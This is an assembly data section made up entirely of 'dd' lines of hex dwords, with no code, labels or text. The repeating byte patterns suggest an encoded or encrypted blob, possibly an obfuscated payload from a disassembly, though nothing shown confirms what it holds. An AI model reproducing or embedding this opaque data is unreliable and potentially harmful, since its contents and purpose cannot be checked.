		dd 0DB5657B1h, 3256ABBCh, 3461E4F3h, 67A1FA54h,	0F47534B1h
		dd 22117D26h, 32565DB0h, 32472FBEh, 3EBF57B1h, 7156ABB1h
		dd 78204AF8h, 1947F78Dh, 0DBBABDC4h, 0CDA94522h, 32565158h
		dd 4CB2B2B1h, 5A3BD377h, 0FB7C7AE0h, 325D3C70h,	1B2CEAB1h
		dd 0F7E8C94Dh, 32746FDh, 22119A35h, 3256AEB2h, 3257D7BEh
		dd 0DBA3ABB1h, 0CDA92AEEh, 0DBA161D1h, 325675A0h, 561CF4CFh
		dd 0F3F6DA53h, 31E03FBDh, 0CDF63230h, 5237CA51h, 0B3304E06h
		dd 53D10A7Ah, 52038072h, 0DBB96A31h, 32565DBAh,	3729EC97h
		dd 769B9248h, 53B440FAh, 0B759393Ah, 3256EAB7h,	5297FED1h
		dd 3D36DBD0h, 32565C31h, 32BE56B1h, 685657B1h, 0A8044130h
		dd 0CBAED31Eh, 325E6FBEh, 0B85975B1h, 3256BAB3h, 80DD3CD1h
		dd 34F92F36h, 0B930AED1h, 77DDCA61h, 24D8DAB9h,	5256EAB1h
		dd 0DAA8FED7h, 3256BABAh, 0BA220C24h, 193E29EBh, 69E95943h
		dd 3D5022D0h, 3256D232h, 33DCE5B1h, 0CB5675B1h,	0B3D13832h
		dd 3D525B1Eh, 3256BA3Fh, 38BE37B1h, 4056ABB1h, 6BF67A28h
		dd 69D28E25h, 0ECDD2D7Ch, 0C7AEDBD0h, 27D55278h, 0DB56AEB1h
		dd 325657A1h, 0C34D108h, 0C84E626Dh, 5140191Bh,	0F7DF6B3Bh
		dd 0DB56BE73h, 32565DBFh, 6E8BC165h, 9E6170E3h,	5DFAD21Ch
		dd 5236A4F4h, 0EDD61B3Bh, 32BE14ECh, 6856BAB1h,	0A950B730h
		dd 3DA3A81Eh, 3256563Ah, 8C3652B1h, 6F1E2C25h, 325366BEh
		dd 7CE875B1h, 5331A250h, 0B2E4D64Dh, 0DB500130h, 325657A5h
		dd 5B8C7604h, 0A8996D05h, 8A546C1Dh, 0DE1C332Ch, 79E0E88h
		dd 32565158h, 8B7452B1h, 0F05125B2h, 15F65615h,	0B5E4EEE4h
		dd 3D504530h, 32575635h, 325153B1h, 4CFA5DB1h, 80382C6Fh
		dd 0CA68DCDAh, 3BBF743Ah, 0D956D5B1h, 35DB8394h, 7E4F3616h
		dd 33190CBEh, 32564C58h, 0EECCF1B1h, 9A5E1C02h,	2B72046Ch
		dd 9A33EC5Eh, 75A0FDC1h, 0B759F5B0h, 3256BA94h,	0EB55A449h
		dd 0E1DDC8D1h, 3247BED0h, 25C6ABB1h, 0AC907DDAh, 55D71F92h
		dd 0A4BACCF4h, 0DB8E6E75h, 32565DA7h, 0DB8F8548h, 325657BFh
		dd 7BAA2F96h, 0CA861373h, 94AAC1E3h, 5215839Fh,	5215DB48h
		dd 54A4D6D7h, 0B937613Ah, 9B455E34h, 0BFDD52B7h, 34FFCB14h
		dd 325A63BEh, 0B25975B1h, 3256BAB7h, 3256D8BEh,	0EA6DAEB1h
		dd 326CD5BEh, 9AAABB1h,	3D1DA68h, 0CB56EAB1h, 32566658h
		dd 3C7EAFB1h, 5438D344h, 0EC8FE620h, 0AC0E0D7Ah, 0D05CB72Ch
		dd 3D521332h, 3256EB3Eh, 0DBAE80B1h, 0CDA945A0h, 33D95244h
		dd 0CA56AEB1h, 0B659988Ah, 3256AB81h, 3256DE58h, 0F395EB1h
		dd 0CF2D9D2Fh, 0A773E54Ch, 2CF3E038h, 3DBFA818h, 0AD5657B1h
		dd 7E7CF9C0h, 49656F6Ah, 0E8262AFh, 90BFE3D6h, 0CAA9454Fh
		dd 2DD652D0h, 3D56AEB1h, 32564E37h, 324242B1h, 0A06DD5B1h
		dd 336317B2h, 0AF7BE724h, 656C0798h, 0EE8BB2CCh, 0DB95B5ADh
		dd 325657A5h, 518DE8F8h, 0BDEAAE48h, 63AE3E8h, 0CC7F2933h
		dd 7BFF64B6h, 32BEA1D1h, 6856AEB1h, 0AE98BD30h,	0C7AEAD1Eh
		dd 0B3D66F3Ah, 0B059EC1Eh, 325675B9h, 325430BEh, 53365DB1h
		dd 3257AE08h, 4AEC37B1h, 0B97DE3E7h, 0F265B44Fh, 324F60BEh
		dd 26BF75B1h, 2656BAB1h, 0ECADC841h, 4F7CA3C4h,	42C2E275h
		dd 37981952h, 0C16D1633h, 0B0DD161Ah, 34F9F431h, 3256B558h
		dd 19F3A6B1h, 0D4A78788h, 0E9420F61h, 5EA24F53h, 0B3D15738h
		dd 0B559EC1Eh, 325675BDh, 325038BEh, 0BE595DB1h, 3256AEB1h
		dd 3245BED0h, 997AABB1h, 0D3C7E465h, 0B58DFD71h, 2A571B72h
		dd 0D382A1A5h, 3246B49Ch, 0D007AEB1h, 7AD5A7C3h, 81F6625Ah
		dd 3D493A7Eh, 0CA957364h, 4EE615D1h, 539E31D7h,	32565D59h
		dd 0D8D7F4B1h, 34F9CA3Dh, 3256AD58h, 3B1542B1h,	0DBE54997h
		dd 325675A0h, 720CA70h,	223FC37Dh, 0C9E7713Ah, 0ADB27C4Bh
		dd 325C428Ah, 1498D5B1h, 0DBC3645Bh, 0BD77369Eh, 24E73F77h
		dd 0DB005B18h, 3256AEB4h, 0B5CA50EDh, 5F6FC3BBh, 0CDAE01AEh
		dd 9B465F04h, 3FDD7AB7h, 0DB56BAB1h, 32565DB9h,	16AD25BDh
		dd 9F941154h, 41AA2E3Ch, 0B336D31Dh, 716AB461h,	0B5F5DAh
		dd 3D8645D0h, 32565C3Ch, 520456B1h, 69598130h, 0B359D095h
		dd 3256D5A0h, 3256E658h, 80018CB1h, 133117CBh, 0C89D633Ah
		dd 0DB06CF2Ah, 325657B8h, 0CD7B9F3Ch, 8CBCE366h, 0B25682DAh
		dd 35BF75B1h, 0EE56BAB1h
		dd 0AF0187BAh, 0BD599B6Ah, 32565791h, 324443D1h, 0B32AD5B1h
		dd 4F42D099h, 0F2D5DD2Fh, 0CA66CEE8h, 80D30A83h, 32D0A1EFh
		dd 535657B1h, 3EBFABDBh, 7B56D5B1h, 0FCAA791Ah,	5C9B02DEh
		dd 0CDA4729Ah, 9D288B03h, 0E2A956B7h, 325CD7BEh, 5436ABB1h
		dd 0B3300D3Ah, 53C52779h, 33D57AE9h, 0C756BAB1h, 323EA1EBh
		dd 0DB56AE31h, 325657A0h, 0C8798136h, 724F6A46h, 82337B7Ch
		dd 0F2785D04h, 5256D0ABh, 8A9FE2BEh, 0E494993h,	0B2E4A8D0h
		dd 3D500430h, 3256D436h, 0E2A91FB1h, 32509C44h,	0BBCABAB1h
		dd 5004242Ah, 34D8A1D0h, 525657B1h, 6B01633Ah, 67A316D0h
		dd 3256E758h, 0D1D490B1h, 0A5B0C4B5h, 0BD65530Fh, 0BC59F367h
		dd 325657BBh, 0B30FFAD1h, 0CFC9C966h, 0DEDD8BE8h, 3240FDBEh
		dd 23BFBAB1h, 9F565DB1h, 76E7D018h, 760BA98Eh, 0E22726EAh
		dd 325B4E0Ch, 0B4598AD1h, 325675B7h, 0DDB97D30h, 54061A8Dh
		dd 530C763Ah, 32565759h, 0D8D7F1B1h, 34F94AE5h,	324F69BEh
		dd 26BF75B1h, 5456BAB1h, 0EEAE4781h, 2967D098h,	430649A2h
		dd 0B7AACB8Ch, 52051F78h, 6B0EB9E1h, 325F9DE0h,	0FF0DBAB1h
		dd 0E5FD4BBh, 686894FBh, 0B9A336E8h, 0DAAEA3C4h, 3256DAE0h
		dd 5336B9D1h, 34DC7AE8h, 0B356BAB1h, 60A71C60h,	3D03CFE6h
		dd 3256503Fh, 33D9A4B1h, 0CE56D5B1h, 4D16784Eh,	22BF731Eh
		dd 0B856BAB1h, 52F3F397h, 90611325h, 0AE6F93B0h, 6F0D2840h
		dd 32475EBEh, 3EBFEAB1h, 0FB5675B1h, 0F482A0A5h, 0CAD425B3h
		dd 9A62FC5h, 0B7595BC4h, 0CDA9542Eh, 3CB93D4Dh,	38BFEAB1h
		dd 205675B1h, 43D7ED2Fh, 0D46FC3ADh, 38BFCFD9h,	245657B1h
		dd 0D2AA66BCh, 30C0FE5h, 0BA59238Eh, 325675B0h,	325E784Dh
		dd 8948EED1h, 2AA0FC71h, 0B15902D0h, 3256ABBBh,	8D656AD1h
		dd 0DAD6A9CCh, 0DEDD14C2h, 325A52D1h, 0CBE95DB1h, 8CC9AFEEh
		dd 3B529377h, 0B93055D0h, 34BF8F60h, 0A156EAB1h, 0DCBB76B3h
		dd 0F6D5DB88h, 0CE00A54Dh, 0BC59F944h, 325657A1h, 325C2CBEh
		dd 37BFD5B1h, 0E556EAB1h, 0F3979A20h, 325A53E2h, 40D35DB1h
		dd 74B58A98h, 9A544111h, 32BE27C6h, 6856D5B1h, 92CC0030h
		dd 52AE731Eh, 3256B758h, 190252B1h, 0E1067E1Fh,	6CC65A1Ah
		dd 0C4E1F59Fh, 3A235ED0h, 325E68BEh, 543675B1h,	0D2D6633Ah
		dd 4FDD3CF7h, 6D00CEA1h, 6DBEDDE6h, 64AFFCD0h, 325D55BEh
		dd 34BFEAB1h, 205675B1h, 0C8A44593h, 33F6B56Dh,	0BF59AEB1h
		dd 325657A4h, 3256BB58h, 412651B1h, 0BC04117h, 0DBC1329Fh
		dd 8810B768h, 325CB4C1h, 3894AEB1h, 0E48A1819h,	0FF2B96EDh
		dd 0B65915BAh, 3256EA68h, 3DAEFE48h, 3256BD34h,	33D952B1h
		dd 0C756AEB1h, 0A0A9AEE4h, 34F9D4F1h, 8D5986D1h, 0B959B279h
		dd 325675B2h, 53890DBEh, 52AA0044h, 0AADF17D7h,	3E236CD0h
		dd 32C92FBEh, 3D36D5B1h, 0BD59230Eh, 325675B7h,	325633BEh
		dd 54375DB1h, 3D36B03Ah, 3256523Bh, 0C4D7CDB1h,	0B330F31Ch
		dd 53845576h, 3DA69231h, 3256B63Eh, 3251B4B1h, 5ACDAEB1h
		dd 5E9DAF4Eh, 0DB48214Fh, 3256D5A5h, 0DEC4F093h, 2D7A5790h
		dd 0D9987A53h, 0F5A6AB96h, 2468656h, 0DBA6B431h, 3256ABA3h
		dd 0D399399h, 0A282D602h, 0AE97654Eh, 1BABE88h,	99BE48B4h
		dd 0DB56AE94h, 325657A5h, 0E7EE211Ch, 6EBDD82Dh, 0F19FA611h
		dd 0D82FB639h, 0E9D417E6h, 0CDA8B558h, 3251474Eh, 0A9FC57B1h
		dd 0ECC94F1h, 0CE2B5C7Ch, 327663BEh, 3D3675B1h,	3256BA33h
		dd 3244B5B1h, 14EBAEB1h, 0DC6A5A2Eh, 38EC0B4Bh,	0F0AE3501h
		dd 21067AEEh, 8FBE14EAh, 52A94547h, 5481E2BEh, 3D37613Ah
		dd 32565630h, 520D52B1h, 7E8154E6h, 6D7D1FE5h, 5385CABEh
		dd 39D3B5EEh, 0DB565DB1h, 3256AEB7h, 0A9C73CFFh, 52080150h
		dd 0DA8D54D7h, 537B5ABBh, 3DAA303Ah, 3256B23Fh,	30D452B1h
		dd 5256AEB1h, 0F0AE9ED0h, 21BFABBDh, 5F56D5B1h,	0CDC695Bh
		dd 0D6912205h, 3EDC03CAh, 811069A1h, 52035224h,	0FFC0EFD7h
		dd 5237A906h, 325055BEh, 0E2D7EAB1h, 1D8D5ADEh,	325733BEh
		dd 53AA5DB1h, 0BA59423Ah, 325657ABh, 325942D1h,	7A63D5B1h
		dd 0DBF2FACh, 0ED6C00FCh, 299D3F27h, 0EEED3BACh, 0B759CFEDh
		dd 325657B6h, 32572ABEh, 0B1AAD5B1h, 0B3361275h, 94076F61h
		dd 653746E9h, 0B3360B48h, 0A71DBC70h, 0CAED318Eh, 3D07CAF9h
		dd 3256D238h, 33DDE5B1h, 0C75675B1h, 3FBEDAE2h,	0EF565DB1h
		dd 22B9142Eh, 217B57A0h, 309C9519h, 69A76ABEh, 53983531h
		dd 32AE3076h, 5256BAB1h, 54E68031h, 535B650Bh, 0B2EBD576h
		dd 3257AD1Eh, 3BBFD5B1h, 7056EAB1h, 785ED8E4h, 2623252Fh
		dd 3A23D644h, 32422CBEh, 0DA3657B1h, 3256ABBAh,	0A4931D55h
		dd 6E99E0D2h, 6880D215h, 0B336DB49h, 0E60C2657h, 0CBDDCEFAh
		dd 0A0BE0C09h, 5437CAB3h, 0B9AACB3Ah, 9D283C0Bh, 32479CB7h
		dd 0F6E9BAB1h, 9DDA50DEh, 4AE9BE0Ch, 71717968h,	0B99F9528h
		dd 39AADDEEh, 4FD2E56Ah, 0C75675B1h, 0B759648Ah, 32565DD5h
		dd 325C2ABEh, 37BF57B1h, 0AE56ABB1h, 0EB9838Fh,	3D5AB73Ah
		dd 32566F3Eh, 3CBFDAB1h, 0FC565DB1h, 0E6709EB3h, 29A882F3h
		dd 1716AAB7h, 0CA4B6DA1h, 5237EE05h, 0C3DD13D1h, 0EAE9B5D0h
		dd 3E09D4D0h, 3CBFFDD1h, 675657B1h, 0C5FCADE3h,	0AC6FF3DEh
		dd 6500FC3Dh, 0C5DD2BB8h, 8D59DAD0h, 32D4527Bh,	5356AEB1h
		dd 0CE429032h, 0CDA9D558h, 0EADCB54Eh, 53A955BEh, 5248FED7h
		dd 0DB9030D1h, 32565DA2h, 5845890Fh, 3824DB0Bh,	6F8A0749h
		dd 5A5B465Bh, 5384FD40h, 26A4F4D7h, 0B2A3DBC6h,	0B659B54Ah
		dd 3256AD30h, 32565E58h, 2AA363B1h, 0FCEE9819h,	0C9D6A9A2h
		dd 58D27A58h, 0CB56BAB2h, 3DBDA631h, 3255CE35h,	325ABEB1h
		dd 1ECEABB1h, 0EFA3529Ch, 2C53B82Bh, 0C9D6DD23h, 0CD2B553h
		dd 0C7565DB2h, 3DB55531h, 32557135h, 3BD2A4B1h,	5256D5B1h
		dd 325661BEh, 53A375B1h, 55AD3BD7h, 28D25252h, 3D56AEB2h
		dd 32565D34h, 325342B1h, 0E944D5B1h, 0B2336AC1h, 39BF8556h
		dd 0B156BAB1h, 6B5CA007h, 0AD73278Fh, 0B330FCC3h, 3DD6A44Ah
		dd 32542135h, 3DBF8AB1h, 985675B1h, 603F7AC2h, 0AB701243h
		dd 0A0DEB2CAh, 0BF5931D3h, 3256ABB7h, 3D6A3A30h, 0B237C4A6h
		dd 3D368552h, 3256BC30h, 32D552B1h, 0B356AEB1h,	72435A43h
		dd 0B459CACEh, 3256D5A6h, 3256F858h, 0F718E6B1h, 7F1ADE6Dh
		dd 0B90E3085h, 39D37896h, 0B21F915Ch, 0B659DB4Ah, 3256D724h
		dd 325E03D1h, 58F975B1h, 0C263784Fh, 0B3367D3Dh, 88E0ED58h
		dd 5586D6E5h, 53297018h, 2CDDB3D0h, 32576DBEh, 0B2AF75B1h
		dd 0BD594252h, 32565DB0h, 8AAD2E49h, 3371D3BEh,	0B2AEABB1h
		dd 0B659D08Fh, 3256EBACh, 1F68F549h, 33453EBEh,	0BE595DB1h
		dd 3256AEB0h, 5A68D744h, 33552FBEh, 0BA59D5B1h,	3256EAB6h
		dd 0AA4F5D1h, 0CD37603Ah, 9DD6E033h, 3CBFCEB7h,	645657B1h
		dd 61B453B1h, 0FD848B9Dh, 6E488D85h, 0E9D713D4h, 54375C77h
		dd 3DBF433Ah, 0B56AEB1h, 8BB22ABBh, 35FE199Ch, 87A62169h
		dd 0D5D663D9h, 0B3308C49h, 3DBE3B4Ah, 3256ED35h, 33DCA1B1h
		dd 0CB5657B1h, 3D4820D7h, 3256CA38h, 0B4598AB1h, 325675B1h
		dd 3256AB59h, 5D77FEB1h, 28277991h, 91D9F1BEh, 0F8BD989Bh
		dd 530C509Ch, 0C7A60D31h, 0B3ADF4D7h, 40D2B571h, 52565DB1h
		dd 3D36CF48h, 32565630h, 0CA0353B1h, 4D16474Eh,	0CB36EC1Eh
		dd 32566558h, 18D0BEB1h
		dd 0C7DEA809h, 5348DC69h, 0CA103CB4h, 0CB0BCAC9h, 0DBAA9038h
		dd 3256EABEh, 0F0ED856Bh, 9E9E0FE1h, 85431A7Dh,	533318EAh
		dd 0CE2BD449h, 4AD3A4B0h, 3D56D5B3h, 3256F636h,	22BF15B1h
		dd 4856BAB1h, 2B3BB1Dh,	1D24F5B2h, 0E9712163h, 5485AB86h
		dd 0A0610D30h, 0DFEC61D0h, 0DB50DCADh, 3256BABAh, 0BF82CAFDh
		dd 468525F5h, 62CD0643h, 8FD42049h, 0DB507A31h,	3256EABEh
		dd 41870D36h, 0E1DC4C80h, 45CD5274h, 0B596E18h,	39BF678Dh
		dd 1E56ABB1h, 0E10BD262h, 0B2477AF7h, 3D0E0FCDh, 3254B033h
		dd 3BBF3DB1h, 0EF56AEB1h, 8D119162h, 2169A498h,	0FC506FD7h
		dd 87EC61D0h, 0DB50DCB2h, 3256BAA2h, 7AEEFA57h,	6279CEB7h
		dd 1685AC09h, 47DF45CCh, 0C770ECEFh, 2ADEE5E1h,	0DB5675B1h
		dd 3256BAA2h, 4073B706h, 0ECE52F38h, 0EBE5E0Ch,	0B09C150Ah
		dd 0B9521A93h, 9DD65733h, 0B65915B7h, 3256BAB2h, 0B2E18431h
		dd 0DB37007Bh, 325657A2h, 4FBB8B14h, 3FC9F30Ch,	92AC048Dh
		dd 0D2E67F0Bh, 0B097849h, 39BF6D8Dh, 0D356AEB1h, 18D82EEEh
		dd 29C74041h, 3D0E0D02h, 3257983Eh, 0F1DD15B1h,	3256B758h
		dd 7BD098B1h, 4452B5D5h, 0A93E80E0h, 3D376DBFh,	3256C432h
		dd 325A03B1h, 0E8C275B1h, 1D5F20ABh, 853E7E52h,	2CBFC185h
		dd 3D5657B1h, 3256AA34h, 0F5AE29B1h, 325412F4h,	0DBAE75B1h
		dd 3256BAB8h, 0CA139A49h, 3256AEB0h, 0E4ECDC4Dh, 0DB5004CFh
		dd 3256D5B9h, 0F0D14E8Dh, 3BAF795h, 0B159A53Ah,	32565DB6h
		dd 3D37CED1h, 3937810Eh, 0CAD2A46Ah, 5256D5B1h,	32466EBEh
		dd 39BF75B1h, 5056BAB1h, 2974CBD3h, 94357CDBh, 0CA370B2Ah
		dd 0B759758Ah, 3256D5F8h, 325868BEh, 0B33675B1h, 403F1B5Eh
		dd 32DD52D2h, 5356AEB1h, 0CB5A0A3Ah, 32AED632h,	324451BEh
		dd 3BBFEAB1h, 815675B1h, 756E1412h, 0A531AE00h,	0CBAEF3B2h
		dd 3D520838h, 3256A731h, 34D8DAB1h, 3D56EAB1h, 32567537h
		dd 269139B1h, 32565058h, 10DB5CB1h, 0AEC78511h,	6FBECB58h
		dd 57BF2FAFh, 3DA9154Eh, 3256633Fh, 0DAAFDAB1h,	32565DBCh
		dd 0B708077Ch, 9A21B372h, 0E3E5E923h, 1378A85h,	3FBE8A71h
		dd 0DB5675B1h, 928E945h, 85041122h, 0D37B000Fh,	0DB0C863Ah
		dd 3256ABBAh, 2DD7E869h, 0C4A9EC50h, 535B4409h,	3256B758h
		dd 1253C9B1h, 850C763Ch, 42840E07h, 0C1BFA440h,	0CB56D5B5h
		dd 324763BEh, 0BC5975B1h, 3256BABAh, 32565B58h,	0B1B221B1h
		dd 543E9D6Dh, 0BC59B53Ah, 3256D5B8h, 25EC8CD1h,	0E2E17A44h
		dd 3E2B31D0h, 0BE81DCD1h, 0DB25B930h, 325657A1h, 4786D288h
		dd 7F11E1DEh, 5524C93Ch, 0C7E4FD8Dh, 0D9AD3AD0h, 320AD9BEh
		dd 0B959AEB1h, 325657A7h, 3256BA58h, 0F8A59B1h,	671BF54Ch
		dd 0AC242DBFh, 0F0F87786h, 3FBF2234h, 8F56AEB1h, 82664B72h
		dd 0F5C9CB27h, 31EFF74Dh, 3DA60931h, 3256603Ah,	324653B1h
		dd 0AF9C5DB1h, 0E9F52021h, 31735232h, 0EB23690Fh, 0C9D6DE70h
		dd 4DD2E5C1h, 0C75675B1h, 3257A458h, 3590A8B1h,	25D3A158h
		dd 0DB5657B1h, 3256ABA3h, 0A2373604h, 4E73FE13h, 304E1A18h
		dd 62299D3Bh, 75913E99h, 3256AEB0h, 0F5DDA2B1h,	3256A058h
		dd 0CE1F5BB1h, 5EAA9EDh, 0E7E9969Ah, 0DB537A32h, 32565DB9h
		dd 0EEF8D174h, 0D4024BB6h, 3ABE57D1h, 0A256D5B1h, 6CF87B05h
		dd 547B9E4Dh, 530D6B3Ah, 3255BC58h, 324647B1h, 0ACA457B1h
		dd 6A923106h, 0E15E59E9h, 0C4893072h, 0F5307FE9h, 0DB5EB5B6h
		dd 32565DB4h, 1776C3DDh, 5248DD01h, 325426BEh, 6907D5B1h
		dd 3256FE59h, 5D949DB1h, 6699C88Ah, 75920ADAh, 1D4F4A6Ch
		dd 265E60C2h, 0B237F3BAh, 5436DA52h, 537BA60Fh,	0DBD6BE31h
		dd 3256BAB9h, 0B831ED76h, 812F345Bh, 0DB570839h, 3256ABBDh
		dd 17FF57CAh, 0B9BE24CEh, 8D4489A6h, 3254FD76h,	0CE565DB1h
		dd 35BF693Ah, 1C5657B1h, 0B6F44B4Bh, 8936E638h,	2480922h
		dd 139DF4D7h, 0F2D5DB00h, 85593DB7h, 0F5DDC848h, 316EBED0h
		dd 3EBFABB1h, 0A956D5B1h, 695FA43Eh, 0ABB558A1h, 5435D62Fh
		dd 0A2C66330h, 320F2ABEh, 3D3657B1h, 4BE47506h,	0A26855D0h
		dd 323E6FBEh, 543675B1h, 0AC597B30h, 32564959h,	237DF3B1h
		dd 58C50E98h, 5286F58Bh, 6A7480B8h, 9F209227h, 6AAEFE5Ah
		dd 4CD7DCD0h, 3DC6CD4Eh, 3256B435h, 3253BEB1h, 17A4ABB1h
		dd 0DB3C753Bh, 3256EA9Bh, 97ED154Dh, 0B2065264h, 0B9379B40h
		dd 23D4A176h, 0DB5657B1h, 3256ABBDh, 3BBC4668h,	0DC00456Eh
		dd 456C285Dh, 32541F58h, 0B0DBA5B1h, 34F92F1Ch,	32564558h
		dd 0FA0E3FB1h, 45C2F748h, 0A46A3FE9h, 3C75FCA5h, 623D244Fh
		dd 32565158h, 7B1B65B1h, 67766A00h, 0B02145B2h,	0CDAF837Ch
		dd 9D298D23h, 3FD77AB7h, 0DB56BAB1h, 32565DB9h,	96074B30h
		dd 3AADF8CBh, 0B6596BBAh, 3256D5F4h, 0FDE1E5D1h, 32567F58h
		dd 936D6EB1h, 0FDCEAD50h, 53A776CBh, 0BFA39F3Ah, 9DD70603h
		dd 24DADAB7h, 5256EAB1h, 32567D59h, 4B222AB1h, 8E9A6EB4h
		dd 0B759F55Fh, 325657B1h, 32B642D0h, 8736D5B1h,	0FBE1E56Bh
		dd 543623D0h, 24DC7430h, 3D373DD1h, 3256AE3Bh, 0B93736B1h
		dd 0B305CB7Fh, 0AC663A5Bh, 0ECEEB2F9h, 53708588h, 325853E4h
		dd 11535DB1h, 0B44A575Bh, 0D2750C43h, 0CCDBBD84h, 327E52BEh
		dd 0DB36EAB1h, 325675B9h, 915AB1CFh, 2F793E20h,	3256BD59h
		dd 3B3687B1h, 0A40E89E4h, 0D9FBA3C9h, 1924F50Dh, 7FD8E76Dh
		dd 0A0A9DBEEh, 34F922F1h, 325722BEh, 6FAA57B1h,	523811D1h
		dd 3ABE959Bh, 0C256EAB1h, 0BBDEACDBh, 0CE98C3AEh, 0FC7D3CE8h
		dd 325E21BEh, 0B65957B1h, 3256ABB3h, 21BFB4D1h,	8A56EAB1h
		dd 65DE3278h, 2263D8CAh, 55D977D6h, 86E3CA02h, 0EBA1E815h
		dd 3256A058h, 0F23AE0B1h, 90755759h, 0B6182584h, 324653EFh
		dd 21765DB1h, 7A8C9C7Ch, 0EAE14BE9h, 3EE68D75h,	4FD5E8E7h
		dd 0B759EB49h, 3256752Fh, 30DFB5D1h, 0B8565DB1h, 7BE6CF61h
		dd 3257D4BEh, 98AFABB1h, 3256DC58h, 9EE0EAB1h, 1AA96D13h
		dd 5436DFA9h, 1C5F9F30h, 325423BEh, 0C8DD57B1h,	3DEECDD0h
		dd 32593C34h, 66F3EAB1h, 55862E78h, 7243DCDBh, 97B0B158h
		dd 0C7FDC819h, 3310E1BEh, 0A2962BD1h, 325551BEh, 8559EAB1h
		dd 3DFD1473h, 3256AD3Eh, 3244B4B1h, 456CAEB1h, 288B229Fh
		dd 38BBAC12h, 0E3052818h, 6BDA7D65h, 3256E858h,	25DEB5B1h
		dd 0DB565DB1h, 3256AEA3h, 0FB420124h, 0F46E0AAh, 0E7F6F38h
		dd 876887DBh, 4FD501E7h, 0B759B849h, 32565DD8h,	22D3A1D1h
		dd 0DB5657B1h, 3256ABBAh, 56EB8E25h, 0C575AABEh, 0CBC0365Fh
		dd 39EEDCD0h, 38D45278h, 5256AEB1h, 5481E8BEh, 0B84A6C30h
		dd 3DFDB3D0h, 3256E63Fh, 34D47AB1h, 3D56BAB1h, 32565D34h
		dd 3DEEC8B1h, 9930AE35h, 3256A558h, 7F8962B1h, 0AEB95C24h
		dd 7466975Eh, 3D33E216h, 0CA571B07h, 0DBAF0544h, 325657BFh
		dd 52F25849h, 6E6BA00Eh, 0C1E1E5DAh, 0F5DD80D0h, 3256BF58h
		dd 593570B1h, 3D0D3025h, 32565F37h, 30D0A4B1h, 5256D5B1h
		dd 0B336B3D0h, 48F9155Ah, 53AC31B0h, 325CB4EFh,	6173AEB1h
		dd 252C6BA8h, 0CEABE324h, 3DBEB5EEh, 0C756EAB1h, 41EBCD93h
		dd 0AD1E9DECh, 0A32C5CEh, 0B330D59Ch, 6D2B8D62h, 0B35962D0h
		dd 3256D5B0h, 325E2848h, 32567058h, 0A135EFB1h,	5203C465h
		dd 8A30713Ah, 0B93769B8h, 3247425Dh, 8A0FD5B1h,	41376E8Bh
		dd 0E7926870h, 6C1D13F1h
		dd 0DBB25086h, 3256AEA0h, 4133C52Ch, 315F2D34h,	8E453433h
		dd 0A1D9FCD6h, 0DAA315F1h, 3256BAB1h, 55BCDCEBh, 5250011Fh
		dd 32565A58h, 0C2E578B1h, 6EF3874Bh, 0AC56E6ABh, 0BA59B8C4h
		dd 3256BABFh, 32565458h, 0D1AA38B1h, 8E077A6Fh,	0CA37040Ch
		dd 525E903Ah, 0C2DCC08h, 0D4E813A5h, 0B0DFDB3Ah, 34F922B0h
		dd 0DA36CF4Dh, 325657A2h, 293816C4h, 0DD6057E7h, 0C28856ADh
		dd 32E596CEh, 6951C9CEh, 5398E2BEh, 24DEA178h, 0DB5657B1h
		dd 3256ABA0h, 969CA5F4h, 47B12074h, 0E06875DDh,	483FC25Eh
		dd 32529F03h, 0B9AAFB48h, 3245BE5Dh, 0E859ABB1h, 8B8BEF32h
		dd 608FEE25h, 908CF9B3h, 0DBA0A77h, 0CA92DE27h,	324B25BEh
		dd 0DA3657B1h, 3256ABA5h, 0A9F11A6Ah, 0C7A0381Eh, 66D68C37h
		dd 0C94F228Bh, 7879FF3h, 523756EBh, 32565A58h, 0B55B2BB1h
		dd 0DFA5A2A4h, 4482A0AFh, 32BECA50h, 6856BAB1h,	9D10B730h
		dd 0B959A81Eh, 325657B0h, 325F4249h, 5AA5D5B1h,	367D3016h
		dd 0DBEE5F37h, 3256BABBh, 48085972h, 500F0870h,	0B859B76Ah
		dd 3256ABBDh, 325056BEh, 0B959EAB1h, 325675B1h,	32AEFF76h
		dd 3D565DB1h, 3256A23Ah, 34DC58B1h, 3D56ABB1h, 3256D536h
		dd 22BF8AB1h, 0ED5675B1h, 19AC4100h, 0F06DC255h, 52F44A61h
		dd 0B32CFD9Ah, 0C34ACD7Eh, 7791B483h, 3256EA4Dh, 325A9CB1h
		dd 2BC1BAB1h, 334B7159h, 5358921Ch, 0F2651DE4h,	3256BB58h
		dd 71624B1h, 31671C47h,	0B31BE69Bh, 4EFDEE3Eh, 2CDD3B46h
		dd 3256A858h, 0DFEC02B1h, 0CBA58A8Eh, 0B2EB5776h, 3257EC1Eh
		dd 0BC5975B1h, 3256BAB9h, 3254D0BEh, 5336AEB1h,	0A2ADD6D7h
		dd 3AD3A421h, 5256D5B1h, 699C61E0h, 0B237A63Ah,	0B659524Ah
		dd 325659E8h, 3256A758h, 0EB6F2CB1h, 4B76DACCh,	0DB16E868h
		dd 3256EAB6h, 3C09B568h, 0B24C9F73h, 0B659B44Ah, 3256AA84h
		dd 3DA8DCD1h, 3256A937h, 5337B5B1h, 325D03F1h, 661E75B1h
		dd 99C1B93h, 1CDDECBEh,	0C9D65BF0h, 3CD2585Ah, 5256ABB5h
		dd 325D5DBEh, 34BFEAB1h, 0EB5675B1h, 3AF2D594h,	52163C6Ah
		dd 32D5A1E2h, 6B5657B1h, 325525BEh, 0B930D5B1h,	0D5D68B41h
		dd 26D97A41h, 0DB56BAB1h, 32565DBEh, 0CB4E627Eh, 0F8A3B5E3h
		dd 7777F286h, 54C35982h, 0B2591130h, 31E9F1BEh,	0B859BAB1h
		dd 32565DB0h, 67D4AD48h, 5250FE91h, 0B6B82A44h,	530D611Bh
		dd 38BFAA49h, 0E75675B1h, 5AC92106h, 0CF46D622h, 0D0AD2E45h
		dd 3128D3BEh, 3D36ABB1h, 0DB362F0Eh, 3256EABBh,	0A7648318h
		dd 439BDB4h, 0BD59F643h, 3256AEB1h, 0C9D636D0h,	76D2A452h
		dd 3D56D5B2h, 3256EB39h, 0B33080B1h, 3DB5DD4Ah,	32551A35h
		dd 37D3A1B1h, 525657B1h, 5337CB4Dh, 0CEA63631h,	3D261131h
		dd 32553535h, 33D3B5B1h, 0CE565DB1h, 2CDDC84Dh,	0BAB9D6D1h
		dd 8A6D4105h, 1C884328h, 0CAB56AD0h, 0B23789D1h, 0B659024Ah
		dd 32565CC3h, 3256AB58h, 0BBE174B1h, 0CD69DADh,	6DD2DAB4h
